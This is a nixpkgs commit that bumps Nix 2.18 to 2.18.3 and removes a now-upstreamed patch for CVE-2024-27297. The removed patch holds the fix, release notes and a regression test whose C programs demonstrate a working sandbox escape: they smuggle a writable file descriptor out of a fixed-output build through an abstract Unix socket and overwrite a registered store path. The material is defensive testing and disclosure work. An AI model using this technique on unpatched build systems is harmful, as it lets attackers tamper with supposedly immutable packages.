summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAlois Wohlschlager <alois1@gmx-topmail.de>2024-06-22 11:01:39 +0200
committerAlois Wohlschlager <alois1@gmx-topmail.de>2024-06-22 11:01:39 +0200
commitc95f09b37a70639686d278e78224f9c4a2168b41 (patch)
tree9c51b6c448a0621689bfb44f9b0ffe33d63b8891
parentMerge pull request #321023 from NixOS/backport-320991-to-release-23.11 (diff)
downloadnixpkgs-c95f09b37a70639686d278e78224f9c4a2168b41.tar.gz
nixVersions.nix_2_18: 2.18.1 -> 2.18.3
Diff: https://github.com/NixOS/nix/compare/2.18.1...2.18.3 The patch for CVE-2024-27297 can be dropped since it's included upstream. The regression that prevented the upgrade to 2.18.2 so far is fixed too.
-rw-r--r--nixos/modules/installer/tools/nix-fallback-paths.nix10
-rw-r--r--pkgs/tools/package-management/nix/default.nix8
-rw-r--r--pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch379
3 files changed, 7 insertions, 390 deletions
diff --git a/nixos/modules/installer/tools/nix-fallback-paths.nix b/nixos/modules/installer/tools/nix-fallback-paths.nix
index e4241e965403..9669ec5e37f3 100644
--- a/nixos/modules/installer/tools/nix-fallback-paths.nix
+++ b/nixos/modules/installer/tools/nix-fallback-paths.nix
@@ -1,7 +1,7 @@
{
- x86_64-linux = "/nix/store/azvn85cras6xv4z5j85fiy406f24r1q0-nix-2.18.1";
- i686-linux = "/nix/store/9bnwy7f9h0kzdzmcnjjsjg0aak5waj40-nix-2.18.1";
- aarch64-linux = "/nix/store/hh65xwqm9s040s3cgn9vzcmrxj0sf5ij-nix-2.18.1";
- x86_64-darwin = "/nix/store/6zi5fqzn9n17wrk8r41rhdw4j7jqqsi3-nix-2.18.1";
- aarch64-darwin = "/nix/store/0pbq6wzr2f1jgpn5212knyxpwmkjgjah-nix-2.18.1";
+ x86_64-linux = "/nix/store/yrsmzlw2lgbknzwic1gy1gmv3l2w1ax8-nix-2.18.3";
+ i686-linux = "/nix/store/ds9381l9mlwfaclvqnkzn3jl4qb8m3y1-nix-2.18.3";
+ aarch64-linux = "/nix/store/hw1zny3f8520zyskmp1qaybv1ir5ilxh-nix-2.18.3";
+ x86_64-darwin = "/nix/store/z08yc4sl1fr65q53wz6pw30h67qafaln-nix-2.18.3";
+ aarch64-darwin = "/nix/store/p57m7m0wrz8sqxiwinzpwzqzak82zn75-nix-2.18.3";
}
diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 8710b9ba785e..243e4c5fad9e 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -227,12 +227,8 @@ in lib.makeExtensible (self: ({
};
nix_2_18 = common {
- version = "2.18.1";
- hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w=";
- patches = [
- patch-rapidcheck-shared
- ./patches/2_18/CVE-2024-27297.patch
- ];
+ version = "2.18.3";
+ hash = "sha256-430V4oN1Pid0h3J1yucrik6lbDh5D+pHI455bzLPEDY=";
};
nix_2_19 = common {
diff --git a/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch b/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
deleted file mode 100644
index 8d110d46a6bb..000000000000
--- a/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
+++ /dev/null
@@ -1,379 +0,0 @@
-From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001
-From: Tom Bereknyei <tomberek@gmail.com>
-Date: Fri, 1 Mar 2024 03:42:26 -0500
-Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape
-
-Test that we can't leverage abstract unix domain sockets to leak file
-descriptors out of the sandbox and modify the path after it has been
-registered.
-
-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
----
- flake.nix | 2 +
- tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
- tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++
- tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++
- 4 files changed, 223 insertions(+)
- create mode 100644 tests/nixos/ca-fd-leak/default.nix
- create mode 100644 tests/nixos/ca-fd-leak/sender.c
- create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
-
-diff --git a/flake.nix b/flake.nix
-index 230bb6031..4a54c660f 100644
---- a/flake.nix
-+++ b/flake.nix
-@@ -634,6 +634,8 @@
- ["i686-linux" "x86_64-linux"]
- (system: runNixOSTestFor system ./tests/nixos/setuid.nix);
-
-+ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
-+
-
- # Make sure that nix-env still produces the exact same result
- # on a particular version of Nixpkgs.
-diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
-new file mode 100644
-index 000000000..a6ae72adc
---- /dev/null
-+++ b/tests/nixos/ca-fd-leak/default.nix
-@@ -0,0 +1,90 @@
-+# Nix is a sandboxed build system. But Not everything can be handled inside its
-+# sandbox: Network access is normally blocked off, but to download sources, a
-+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
-+# The detail here is not important, but in our case it means that the hash of
-+# the output has to be known beforehand. And if you know that, you get a few
-+# rights: you no longer run inside a special network namespace!
-+#
-+# Now, Linux has a special feature, that not many other unices do: Abstract
-+# unix domain sockets! Not only that, but those are namespaced using the
-+# network namespace! That means that we have a way to create sockets that are
-+# available in every single fixed-output derivation, and also all processes
-+# running on the host machine! Now, this wouldn't be that much of an issue, as,
-+# well, the whole idea is that the output is pure, and all processes in the
-+# sandbox are killed before finalizing the output. What if we didn't need those
-+# processes at all? Unix domain sockets have a semi-known trick: you can pass
-+# file descriptors around!
-+# This makes it possible to exfiltrate a file-descriptor with write access to
-+# $out outside of the sandbox. And that file-descriptor can be used to modify
-+# the contents of the store path after it has been registered.
-+
-+{ config, ... }:
-+
-+let
-+ pkgs = config.nodes.machine.nixpkgs.pkgs;
-+
-+ # Simple C program that sends a a file descriptor to `$out` to a Unix
-+ # domain socket.
-+ # Compiled statically so that we can easily send it to the VM and use it
-+ # inside the build sandbox.
-+ sender = pkgs.runCommandWith {
-+ name = "sender";
-+ stdenv = pkgs.pkgsStatic.stdenv;
-+ } ''
-+ $CC -static -o $out ${./sender.c}
-+ '';
-+
-+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
-+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
-+ # lives in a mount namespace where it is not! So even when this file exists
-+ # in the actual Nix store, we're capable of just modifying its contents...
-+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
-+
-+ # The abstract socket path used to exfiltrate the file descriptor
-+ socketName = "FODSandboxExfiltrationSocket";
-+in
-+{
-+ name = "ca-fd-leak";
-+
-+ nodes.machine =
-+ { config, lib, pkgs, ... }:
-+ { virtualisation.writableStore = true;
-+ nix.settings.substituters = lib.mkForce [ ];
-+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
-+ };
-+
-+ testScript = { nodes }: ''
-+ start_all()
-+
-+ machine.succeed("echo hello")
-+ # Start the smuggler server
-+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
-+
-+ # Build the smuggled derivation.
-+ # This will connect to the smuggler server and send it the file descriptor
-+ machine.succeed(r"""
-+ nix-build -E '
-+ builtins.derivation {
-+ name = "smuggled";
-+ system = builtins.currentSystem;
-+ # look ma, no tricks!
-+ outputHashMode = "flat";
-+ outputHashAlgo = "sha256";
-+ outputHash = builtins.hashString "sha256" "hello, world\n";
-+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
-+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
-+ }'
-+ """.strip())
-+
-+
-+ # Tell the smuggler server that we're done
-+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
-+
-+ # Check that the file was not modified
-+ machine.succeed(r"""
-+ cat ./result
-+ test "$(cat ./result)" = "hello, world"
-+ """.strip())
-+ '';
-+
-+}
-diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
-new file mode 100644
-index 000000000..75e54fc8f
---- /dev/null
-+++ b/tests/nixos/ca-fd-leak/sender.c
-@@ -0,0 +1,65 @@
-+#include <sys/socket.h>
-+#include <sys/un.h>
-+#include <stdlib.h>
-+#include <stddef.h>
-+#include <stdio.h>
-+#include <unistd.h>
-+#include <fcntl.h>
-+#include <errno.h>
-+#include <string.h>
-+#include <assert.h>
-+
-+int main(int argc, char **argv) {
-+
-+ assert(argc == 2);
-+
-+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
-+
-+ // Set up a abstract domain socket path to connect to.
-+ struct sockaddr_un data;
-+ data.sun_family = AF_UNIX;
-+ data.sun_path[0] = 0;
-+ strcpy(data.sun_path + 1, argv[1]);
-+
-+ // Now try to connect, To ensure we work no matter what order we are
-+ // executed in, just busyloop here.
-+ int res = -1;
-+ while (res < 0) {
-+ res = connect(sock, (const struct sockaddr *)&data,
-+ offsetof(struct sockaddr_un, sun_path)
-+ + strlen(argv[1])
-+ + 1);
-+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
-+ if (errno != ECONNREFUSED) break;
-+ }
-+
-+ // Write our message header.
-+ struct msghdr msg = {0};
-+ msg.msg_control = malloc(128);
-+ msg.msg_controllen = 128;
-+
-+ // Write an SCM_RIGHTS message containing the output path.
-+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
-+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
-+ hdr->cmsg_level = SOL_SOCKET;
-+ hdr->cmsg_type = SCM_RIGHTS;
-+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
-+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
-+
-+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
-+
-+ // Write a single null byte too.
-+ msg.msg_iov = malloc(sizeof(struct iovec));
-+ msg.msg_iov[0].iov_base = "";
-+ msg.msg_iov[0].iov_len = 1;
-+ msg.msg_iovlen = 1;
-+
-+ // Send it to the othher side of this connection.
-+ res = sendmsg(sock, &msg, 0);
-+ if (res < 0) perror("sendmsg");
-+ int buf;
-+
-+ // Wait for the server to close the socket, implying that it has
-+ // received the commmand.
-+ recv(sock, (void *)&buf, sizeof(int), 0);
-+}
-diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
-new file mode 100644
-index 000000000..82acf37e6
---- /dev/null
-+++ b/tests/nixos/ca-fd-leak/smuggler.c
-@@ -0,0 +1,66 @@
-+#include <sys/socket.h>
-+#include <sys/un.h>
-+#include <stdlib.h>
-+#include <stddef.h>
-+#include <stdio.h>
-+#include <unistd.h>
-+#include <assert.h>
-+
-+int main(int argc, char **argv) {
-+
-+ assert(argc == 2);
-+
-+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
-+
-+ // Bind to the socket.
-+ struct sockaddr_un data;
-+ data.sun_family = AF_UNIX;
-+ data.sun_path[0] = 0;
-+ strcpy(data.sun_path + 1, argv[1]);
-+ int res = bind(sock, (const struct sockaddr *)&data,
-+ offsetof(struct sockaddr_un, sun_path)
-+ + strlen(argv[1])
-+ + 1);
-+ if (res < 0) perror("bind");
-+
-+ res = listen(sock, 1);
-+ if (res < 0) perror("listen");
-+
-+ int smuggling_fd = -1;
-+
-+ // Accept the connection a first time to receive the file descriptor.
-+ fprintf(stderr, "%s\n", "Waiting for the first connection");
-+ int a = accept(sock, 0, 0);
-+ if (a < 0) perror("accept");
-+
-+ struct msghdr msg = {0};
-+ msg.msg_control = malloc(128);
-+ msg.msg_controllen = 128;
-+
-+ // Receive the file descriptor as sent by the smuggler.
-+ recvmsg(a, &msg, 0);
-+
-+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
-+ while (hdr) {
-+ if (hdr->cmsg_level == SOL_SOCKET
-+ && hdr->cmsg_type == SCM_RIGHTS) {
-+
-+ // Grab the copy of the file descriptor.
-+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
-+ }
-+
-+ hdr = CMSG_NXTHDR(&msg, hdr);
-+ }
-+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
-+ close(a);
-+
-+ // Wait for a second connection, which will tell us that the build is
-+ // done
-+ a = accept(sock, 0, 0);
-+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
-+ // Write a new content to the file
-+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
-+ char * new_content = "Pwned\n";
-+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
-+ if (written_bytes != strlen(new_content)) perror("write");
-+}
---
-2.42.0
-
-
-From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001
-From: Tom Bereknyei <tomberek@gmail.com>
-Date: Fri, 1 Mar 2024 03:45:39 -0500
-Subject: [PATCH 2/3] Copy the output of fixed-output derivations before
- registering them
-
-It is possible to exfiltrate a file descriptor out of the build sandbox
-of FODs, and use it to modify the store path after it has been
-registered.
-To avoid that issue, don't register the output of the build, but a copy
-of it (that will be free of any leaked file descriptor).
-
-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
-Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
----
- src/libstore/build/local-derivation-goal.cc | 6 ++++++
- src/libutil/filesystem.cc | 6 ++++++
- src/libutil/util.hh | 7 +++++++
- 3 files changed, 19 insertions(+)
-
-diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
-index 64b55ca6a..f1e22f829 100644
---- a/src/libstore/build/local-derivation-goal.cc
-+++ b/src/libstore/build/local-derivation-goal.cc
-@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
- [&](const DerivationOutput::CAFixed & dof) {
- auto & wanted = dof.ca.hash;
-
-+ // Replace the output by a fresh copy of itself to make sure
-+ // that there's no stale file descriptor pointing to it
-+ Path tmpOutput = actualPath + ".tmp";
-+ copyFile(actualPath, tmpOutput, true);
-+ renameFile(tmpOutput, actualPath);
-+
- auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
- .method = dof.ca.method,
- .hashType = wanted.type,
-diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
-index 11cc0c0e7..2a7787c0e 100644
---- a/src/libutil/filesystem.cc
-+++ b/src/libutil/filesystem.cc
-@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
- }
- }
-
-+
-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
-+{
-+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
-+}
-+
- void renameFile(const Path & oldName, const Path & newName)
- {
- fs::rename(oldName, newName);
-diff --git a/src/libutil/util.hh b/src/libutil/util.hh
-index b302d6f45..59d42e0a5 100644
---- a/src/libutil/util.hh
-+++ b/src/libutil/util.hh
-@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst);
- */
- void moveFile(const Path & src, const Path & dst);
-
-+/**
-+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
-+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
-+ * with the guaranty that the destination will be “fresh”, with no stale inode
-+ * or file descriptor pointing to it).
-+ */
-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
-
- /**
- * Wrappers arount read()/write() that read/write exactly the
---
-2.42.0
-
-
-From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001
-From: Tom Bereknyei <tomberek@gmail.com>
-Date: Fri, 1 Mar 2024 04:01:23 -0500
-Subject: [PATCH 3/3] Add release notes
-
-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
----
- doc/manual/src/release-notes/rl-next.md | 8 ++++++++
- 1 file changed, 8 insertions(+)
-
-diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md
-index c869b5e2f..f77513385 100644
---- a/doc/manual/src/release-notes/rl-next.md
-+++ b/doc/manual/src/release-notes/rl-next.md
-@@ -1 +1,9 @@
- # Release X.Y (202?-??-??)
-+
-+- Fix a FOD sandbox escape:
-+ Cooperating Nix derivations could send file descriptors to files in the Nix
-+ store to each other via Unix domain sockets in the abstract namespace. This
-+ allowed one derivation to modify the output of the other derivation, after Nix
-+ has registered the path as "valid" and immutable in the Nix database.
-+ In particular, this allowed the output of fixed-output derivations to be
-+ modified from their expected content. This isn't the case any more.
---
-2.42.0
-